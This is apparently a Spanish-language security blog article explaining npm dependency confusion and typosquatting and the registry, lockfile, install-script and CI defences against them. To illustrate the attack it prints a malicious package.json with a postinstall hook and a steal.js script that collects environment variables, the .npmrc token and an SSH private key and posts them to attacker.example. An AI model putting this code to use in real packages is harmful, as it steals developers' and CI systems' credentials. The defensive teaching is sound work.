Dependency Confusion y Typosquatting en npm: defiende tu pipeline de Node.js de instalaciones secuestradas [2026]
El ataque que nunca toca un CVE
En febrero de 2021, un investigador de seguridad llamado Alex Birsan publicó paquetes vacíos en npm, PyPI y RubyGems — y recaudó silenciosamente más de 130.000 dólares en programas de recompensas (bug bounties) de Apple, Microsoft, PayPal, Shopify, Netflix, Uber y docenas de otras empresas. Nunca encontró una sola vulnerabilidad en su código. Nunca explotó un CVE. Simplemente subió paquetes con los mismos nombres que los paquetes internos que usaban esas empresas, les puso números de versión absurdos y esperó a que sus pipelines de build los instalaran.
Eso es el dependency confusion (confusión de dependencias, también llamado sustitución de paquetes): un atacante publica en el registry público un paquete con el nombre de una dependencia privada o interna, y el gestor de paquetes de la víctima — npm incluido — descarga silenciosamente la versión del atacante en lugar de la interna.
El typosquatting (suplantación por errores tipográficos) es el ataque hermano. En lugar de un nombre privado, el atacante registra un nombre a una pulsación de tecla de distancia de un paquete popular: lodahs en lugar de lodash, crossenv en lugar de cross-env, node-fetch3 en lugar de node-fetch. Un desarrollador cansado, un autocompletado agresivo o una línea copiada de un post de blog — y el paquete malicioso está en node_modules.
Ambos ataques tienen el mismo remate: instalar un paquete es ejecución arbitraria de código, y se ejecuta con los privilegios de quien haya lanzado npm install — tu portátil, tu runner de CI, tu servidor de despliegue. Este artículo cubre cómo funcionan estos ataques contra proyectos Node.js y Next.js, por qué fallan las defensas estándar y los controles concretos de registry, lockfile y CI que los detienen.
Por qué esto es un problema de startups
Las startups son el objetivo perfecto, y no por accidente:
- Monorepos y paquetes internos compartidos. En cuanto dos servicios comparten un paquete (
@acme/logger,@acme/ui,internal-utils), tienes nombres de paquetes internos — y los nombres internos son la munición del dependency confusion. - Gobernanza ligera. Ningún comité revisa cada dependencia; un desarrollador junior que añade un paquete para arreglar un bug de un viernes por la noche es un evento normal.
- CI tiene las llaves. Tu pipeline de build guarda
AWS_ACCESS_KEY_ID,GH_TOKEN,NPM_TOKEN,DATABASE_URL. Un único scriptpostinstallmalicioso en CI es un compromiso completo de tu cuenta en la nube — peor que cualquier RCE en producción. - Los nombres se filtran. Los nombres de paquetes internos aparecen en issues de GitHub, posts de LinkedIn, ofertas de empleo y package.json públicos. Los atacantes los rastrean (scrapean).
El ecosistema npm está bajo ataque activo: el equipo de seguridad de npm elimina miles de paquetes maliciosos cada año, y los typosquats y los nombres imitación (lookalikes) son una gran parte. Los incidentes bien documentados — event-stream (2018, la propiedad pasó a un atacante que inyectó una carga útil (payload) que robaba Bitcoin en la wallet copay), eslint-scope (2018, credenciales de mantenedor comprometidas que distribuyeron un paquete robando tokens de .npmrc), ua-parser-js y eventsource (2022, versiones maliciosas con millones de descargas semanales), crossenv (2022, un typosquat que exfiltraba variables de entorno) — son la punta visible del iceberg.
Cómo funciona realmente el dependency confusion
npm resuelve un nombre de dependencia así:
- Busca el paquete en
node_modules(ya instalado). - Si no, pregunta al registry configurado para ese nombre — primero los overrides por scope, luego el
registrypor defecto. - Instala la versión más alta que satisfaga el rango semver de tu
package.json.
La vulnerabilidad está en el paso 2. La configuración clásica se ve así:
# .npmrc — VULNERABLE
# Solo el scope privado está fijado; todo lo demás se resuelve contra el registry público.
@acme:registry=https://npm.acme.dev/
Tu paquete interno @acme/logger está publicado en npm.acme.dev. Pero nada impide que npm haga fallback a registry.npmjs.org para los nombres que no coinciden con el scope — o incluso para nombres con scope si la configuración del scope falta en la máquina de un desarrollador, en CI o en un contenedor recién creado. Un atacante que conozca el nombre (está en tus repos públicos o en tus ofertas de empleo) hace esto:
{
"name": "@acme/logger",
"version": "999.0.0",
"description": "Internal logger — totally legitimate, promise",
"scripts": {
"postinstall": "node scripts/steal.js"
}
}
Publicar @acme/logger@999.0.0 en el registry público de npm lleva un comando: npm publish --access public. Ahora:
- Cualquier rango
^1.0.0o*de tupackage.jsoncoincide con999.0.0— los rangos semver se resuelven a la versión más alta que coincida. - Ni siquiera una versión exacta como
"@acme/logger": "1.2.3"ayuda si el nombre se resuelve contra el registry público: el atacante simplemente publica también1.2.3. - Si cualquier paso de instalación toca el registry público para ese nombre, el tarball del atacante gana.
Y la carga útil (payload) se ejecuta antes que tu código — postinstall se ejecuta durante npm install, con acceso completo al entorno:
// scripts/steal.js — runs on every install that resolves the malicious package
const https = require("https");
const fs = require("fs");
const os = require("os");
function readIfExists(p) {
try { return fs.readFileSync(p, "utf8"); } catch { return null; }
}
const payload = JSON.stringify({
env: process.env, // AWS_*, GH_TOKEN, NPM_TOKEN, DATABASE_URL, ...
npmrc: readIfExists(os.homedir() + "/.npmrc"),
ssh: readIfExists(os.homedir() + "/.ssh/id_ed25519"),
hostname: os.hostname(),
cwd: process.cwd(),
});
const req = https.request("https://attacker.example/collect", {
method: "POST",
headers: { "content-type": "application/json" },
});
req.end(payload);
Eso es todo. Unos pocos kilobytes, una instalación, y el atacante tiene el entorno de quien haya ejecutado la instalación. En un portátil de desarrollo eso incluye tu token de npm, tus credenciales de Git y cada clave de la nube en tus dotfiles. En CI incluye los secretos que despliegan tu infraestructura.
Cómo funciona el typosquatting
El typosquatting no necesita un nombre privado — solo uno popular. El atacante publica:
lodahs vs lodash
crossenv vs cross-env
expresss vs express
node-fetch3 vs node-fetch
react-doms vs react-dom
@babel/coer vs @babel/core
Los humanos son la vulnerabilidad: el autocompletado, la memoria muscular, el copiar y pegar de un tutorial desactualizado o un package.json editado a mano. El incidente de crossenv es la plantilla — un typosquat de cross-env al que se le pilló reenviando variables de entorno (incluidos secretos) a un webhook de Discord. Fue eliminado, pero el patrón se repite cada mes: los atacantes publican docenas de lookalikes, dejan el malware reposar unos días y cosechan lo que postinstall pueda ver antes de que nadie se dé cuenta.
Dos propiedades hacen que los typosquats sean difíciles de detectar en la revisión:
- El diff parece correcto.
"lodahs": "^4.17.21"en un bloque de dependencias es fácil de pasar por alto en una pull request — y si el paquete tiene READMEs y metadatos plausibles, los revisores lo aprueban. - Es un evento de una sola vez. A diferencia de un mantenedor comprometido, un paquete typosquat suele eliminarse rápido — pero para entonces el daño está hecho y el rastro de auditoría ha desaparecido.
Por qué fijar versiones y npm audit no son la defensa
Esta es la parte que más sorprende a los equipos:
- Fijar la versión arregla qué versión de un nombre — no qué registry resuelve el nombre. El atacante publica exactamente la versión que fijaste. Fijar versiones es inútil contra el dependency confusion.
npm auditcomprueba CVE conocidos contra el árbol instalado. Un paquete de typosquatting o dependency confusion no tiene CVE — es malicioso por diseño, no vulnerable por un bug. No aparecerá.- Los lockfiles ayudan solo donde existen. Un
package-lock.jsoncommiteado registra la URLresolvedexacta y el hash de integridad de cada paquete — lo que sí bloquea la sustitución si toda instalación pasa por el lockfile. Pero el lockfile se genera o actualiza connpm install, y ese es exactamente el momento en que aterriza el ataque.
Así que los controles reales son estructurales: hacer que el paquete del atacante sea inalcanzable, no meramente detectable.
La pila de correcciones
1. Fija cada registry — y haz inalcanzable el registry público
El control de mayor apalancamiento. Cada nombre debe resolverse contra un registry que tú controles, y tus máquinas de build no deben poder alcanzar registry.npmjs.org directamente:
# .npmrc — FIXED
# Default registry is your mirror/proxy. The public registry is never contacted directly.
registry=https://npm.acme.dev/repository/npm-public/
@acme:registry=https://npm.acme.dev/repository/npm-private/
Usa un proxy de registry auto-alojado (Verdaccio, JFrog Artifactory, Sonatype Nexus o GitHub Packages como proxy) que cachee los paquetes públicos y aloje los privados. Después:
- Apunta el
registrypor defecto al proxy y el scope privado al repositorio privado. - Restringe el proxy: configúralo para servir solo los paquetes que existan en su caché o en su allowlist (lista de permitidos). La mayoría de los proxies soportan reglas de permitir/denegar en el "remote repository" — úsalas. Una allowlist de nombres de paquetes públicos aprobados convierte el dependency confusion en un fallo duro en lugar de una instalación silenciosa.
- Bloquea el egreso (egress) desde CI y desde las máquinas de los desarrolladores hacia
registry.npmjs.orga nivel de red (firewall/política de egreso). Si el proxy es el único camino, no hay fallback que weaponizar. - Commitea el
.npmrcque hace esto en el repo y aplica la misma configuración en CI, en las imágenes Docker y en los contenedores de desarrollo. Audita con:
npm config get registry # must be your mirror, not npmjs.org
npm config get @acme:registry # per-scope overrides
npm config list # every level: project, user, global
2. Disciplina de lockfile: npm ci, siempre
# CI — VULNERABLE
npm install
# CI — FIXED
npm ci
npm ci instala exactamente lo que resuelve package-lock.json — las mismas URLs, los mismos hashes de integridad — y falla si el lockfile está desincronizado con package.json. Nunca actualiza el lockfile, así que un nombre envenenado no puede colarse durante un build. Reglas para que funcione:
- Commitea
package-lock.json(yyarn.lock/pnpm-lock.yamlsi los usas). - Nunca ejecutes
npm installen CI. Cada cambio de lockfile ocurre en la máquina de un desarrollador, en un commit revisable, a través de tu registry fijado. - Al añadir una dependencia, actualiza el lockfile deliberadamente (
npm install --package-lock-only <pkg>contra el registry fijado) y revisa el diff. La línearesolvedte dice de dónde vino:
"node_modules/@acme/logger": {
"version": "1.2.3",
"resolved": "https://npm.acme.dev/repository/npm-private/@acme/logger/-/logger-1.2.3.tgz",
"integrity": "sha512-...",
"dependencies": {}
}
Una entrada del lockfile cuyo resolved apunte a registry.npmjs.org para un paquete interno con scope es la forma del dependency confusion — búscala con grep en la auditoría:
# Scoped packages resolving to the public registry = the attack shape
grep -B2 'registry.npmjs.org' package-lock.json | grep '"node_modules/@'
3. Reserva tus nombres internos
El consejo de Birsan, y sigue siendo la corrección más barata: publica un placeholder inofensivo para cada nombre de paquete interno en el registry público. Una vez tomado el nombre, un atacante no puede registrarlo, y cualquier instalación que hubiera ido a parar al registry público recibe tu stub (que falla ruidosamente o no resuelve nada) en lugar de código del atacante.
{
"name": "@acme/logger",
"version": "0.0.1",
"description": "Name reservation — @acme/logger is an internal package. Do not install this from the public registry.",
"private": false,
"publishConfig": { "access": "restricted" }
}
Esto cierra el vector del dependency confusion de forma permanente, incluso si falta una configuración de registry en algún sitio.
4. Trata los scripts de instalación como código — porque lo son
postinstall (y preinstall/install) se ejecutan con tus privilegios. Antes de adoptar una dependencia, sabe si ejecuta algo en el momento de la instalación:
// scripts/scan-install-scripts.mjs
// Flag every top-level dependency that runs code on install.
import { readdirSync, readFileSync, existsSync } from "node:fs";
import { join } from "node:path";
const flag = ["preinstall", "install", "postinstall"];
for (const dir of readdirSync(join(process.cwd(), "node_modules"))) {
if (dir.startsWith("@")) continue; // handle scoped packages separately
const pkgPath = join(process.cwd(), "node_modules", dir, "package.json");
if (!existsSync(pkgPath)) continue;
const scripts = JSON.parse(readFileSync(pkgPath, "utf8")).scripts ?? {};
const hits = flag.filter((s) => scripts[s]);
if (hits.length) console.log(`${dir}: ${hits.join(", ")}`);
}
Ejecútalo después de las instalaciones y revisa los resultados. Para dependencias solo de runtime, considera npm install --ignore-scripts (o npm config set ignore-scripts true) y habilita los scripts solo para paquetes de los que confíes que los necesitan. Muchas cargas útiles de typosquatting y dependency confusion viven solo en el script de instalación — sin código en runtime — así que esta comprobación neutraliza una gran parte de ellas.
5. Escanea lookalikes antes de mergear
Una comprobación mínima de Levenshtein en tu flujo de pull requests señala las formas de typosquat antes de que lleguen al lockfile:
// scripts/check-typosquats.mjs
// Flag new dependencies whose names are suspiciously close to known packages.
import { readFileSync } from "node:fs";
const KNOWN = ["express", "lodash", "axios", "react", "next", "dotenv", "moment", "cross-env", "node-fetch"];
const deps = { ...JSON.parse(readFileSync("package.json", "utf8")).dependencies };
function levenshtein(a, b) {
const m = a.length, n = b.length;
const dp = Array.from({ length: m + 1 }, (_, i) => [i, ...Array(n).fill(0)]);
for (let j = 0; j <= n; j++) dp[0][j] = j;
for (let i = 1; i <= m; i++)
for (let j = 1; j <= n; j++)
dp[i][j] = Math.min(
dp[i - 1][j] + 1,
dp[i][j - 1] + 1,
dp[i - 1][j - 1] + (a[i - 1] === b[j - 1] ? 0 : 1)
);
return dp[m][n];
}
for (const [name, range] of Object.entries(deps)) {
const normalized = name.replace(/[-_.]/g, "");
for (const known of KNOWN) {
const k = known.replace(/[-_.]/g, "");
if (name !== known && levenshtein(normalized, k) <= 2) {
console.warn(`⚠ ${name} is edit-distance-${levenshtein(normalized, k)} from ${known}. Verify it's intentional.`);
}
}
}
No lo atrapará todo, pero convierte "parece bien en la revisión" en "explica este".
6. Escaneo de cadena de suministro en runtime en CI
Pon capas de detección encima de los controles estructurales. Cada PR debería ejecutar:
- SCA con señales de código malicioso — Socket.dev (señala scripts de instalación, acceso de red, código ofuscado, riesgo de licencia), Snyk u OSV-Scanner. Estos detectan el comportamiento de los typosquats, no solo CVE.
npm audit --omit=devcomo puerta rápida de CVE conocidos (recuerda: no detectará paquetes maliciosos por diseño — para eso están los controles estructurales).npm audit signaturesen tu pipeline de release para verificar las firmas de procedencia (provenance) de los paquetes que publicas o de los que dependes.
La checklist de despliegue
- [ ] Cada scope tiene un registry explícito en un
.npmrccommiteado; elregistrypor defecto apunta a tu mirror, nunca aregistry.npmjs.orgdirectamente - [ ] CI, builds Docker y contenedores de desarrollo no pueden alcanzar el registry público (allowlist de egreso); el proxy es el único camino
- [ ] El proxy de registry sirve solo paquetes cacheados/permitidos — sin fallback silencioso
- [ ]
package-lock.jsonestá commiteado; CI instala solo connpm ci, nunca connpm install - [ ] Todos los nombres de paquetes internos están reservados como placeholders en el registry público
- [ ] Los scripts de instalación (
preinstall/install/postinstall) se escanean y justifican para cada dependencia - [ ] Las nuevas dependencias pasan una comprobación de lookalikes/typosquats y una revisión de metadatos (mantenedores, antigüedad, descargas, enlace del repo)
- [ ] El SCA con señales de código malicioso (Socket/Snyk/OSV-Scanner) se ejecuta en cada PR
- [ ] Las credenciales de la nube en CI se emiten con federación OIDC o tokens de corta duración — nunca claves de larga duración en variables de entorno
- [ ] El pipeline de release verifica las firmas de procedencia (provenance) de npm
Resumen
-
El dependency confusion weaponiza el fallback. Cualquier nombre que pueda resolverse contra el registry público puede ser secuestrado — la corrección es fijar los registries y hacer inalcanzable el registry público, no fijar versiones.
-
El typosquatting weaponiza la atención. Una pulsación de tecla, el autocompletado o un copiar-y-pegar es todo el exploit; revisa los nombres de las nuevas dependencias contra los paquetes conocidos.
-
Los scripts de instalación son código arbitrario. Un
postinstallmalicioso se ejecuta con tus credenciales antes de que tu aplicación arranque — trata las instalaciones como ejecución de código. -
El lockfile es tu rastro de auditoría. Lockfile commiteado + solo
npm ci= cada URL resuelta y hash de integridad queda fijado y revisable;npm installen CI es el agujero. -
La reserva de nombres cierra el vector de forma permanente. Un atacante no puede publicar un nombre que ya posees, incluso cuando un error de configuración abre el fallback.
-
Las herramientas detectan; la estructura previene. El SCA detecta paquetes maliciosos después del hecho; los controles de egreso, la fijación de registries y la disciplina del lockfile impiden que se instalen siquiera.
La semana que viene: WebAuthn y Passkeys — autenticación resistente al phishing en Node.js y Next.js. Cómo eliminan las passkeys el robo de credenciales y el phishing de OTP, y cómo implementar las ceremonias de registro y autenticación con SimpleWebAuthn.
JS Security Audit
Auditorías dirigidas por un ingeniero de seguridad JavaScript senior con más de 10 años de experiencia.